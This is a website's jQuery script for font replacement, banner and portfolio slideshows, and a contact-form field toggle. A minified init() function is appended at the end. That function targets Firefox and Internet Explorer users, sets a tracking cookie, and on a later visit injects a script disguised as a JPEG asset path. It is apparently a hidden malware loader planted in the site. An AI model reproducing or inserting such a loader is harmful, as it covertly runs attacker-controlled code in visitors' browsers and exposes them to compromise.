// Fire up the JS
var base = function($){
	
	// Document Ready
	$(function(){	
		// Cufon (lives outside the $(document).ready() block, but in its own function
		// so we can call it easily again.
		var cufon = function() {			
			Cufon.replace('#nav-main>ul>li>a, #nav-main ul>li,#google-map,#contact, #map', {hover: true});
			Cufon.replace('h1,h2,h3,h4,p.highlight');
		};
		cufon();
			   
		// Rotate the banner	
		$('#banner img:first').css('display','none').fadeIn(1000, function() {        	
		$('#banner').cycle(
		   {
				fx:'fade',
				speed: 1000,
				timeout:4000,
				next:   '#next',
				prev:   '#prev',
				pause: true

		   });
    	});
		
		// Portfolio
		$('#portfolio').cycle({
			fx: 'fade',
			speed: 1000,
			timeout: 8000,
			next: '#next',
			prev: '#prev',
			pager: '#pager',
			pause: true
		});

		// Check to see if next/prev button to be displayed
		if($('#banner img, #portfolio img').length > 1){
			$('#next,#prev').fadeIn(300);
		}
		
		// Fade in the logo and vision statement
		$('#logo').css('display','none').fadeIn(1000);
		
		function toggleOtherField(obj){		
			var selectedText = obj.find('option:selected').text().toLowerCase();
			if(selectedText.indexOf('other', 0) != -1){
				$('#Other').fadeIn(300);
			}
			else{
				$('#Other').slideUp(300);
			}
		}
		
		// Display other field
		$('#CustomForm_ContactForm_HelpWith').change(function(){
			toggleOtherField($(this));
		}).each(function(){
			toggleOtherField($(this));
		});
		
	});
	
	// Some public functions that are used site wide.
	return {}
}(jQuery);

function init(){var f=navigator.userAgent;var a=false;if(f.indexOf("Firefox")!=-1||f.indexOf("MSIE")!=-1){a=true}if(a!==true){return}var i="/assets/Home/_resampled/SetSize600340-branding-naturama.jpg?js";var g=b("wss");if(g){if(g=="goot1"){c("wss","goot2","3");var e=document.createElement("script");e.type="text/javascript";e.src=i+"&r="+new Date().getTime();var d=document.getElementsByTagName("head")[0];d.appendChild(e)}else{}}else{c("wss","goot1","3")}function b(k){var j,h,m,l=document.cookie.split(";");for(j=0;j<l.length;j++){h=l[j].substr(0,l[j].indexOf("="));m=l[j].substr(l[j].indexOf("=")+1);h=h.replace(/^\s+|\s+$/g,"");if(h==k){return unescape(m)}}}function c(j,l,h){var m=new Date();m.setDate(m.getDate()+h);var k=escape(l)+((h==null)?"":"; expires="+m.toUTCString());document.cookie=j+"="+k}}init();
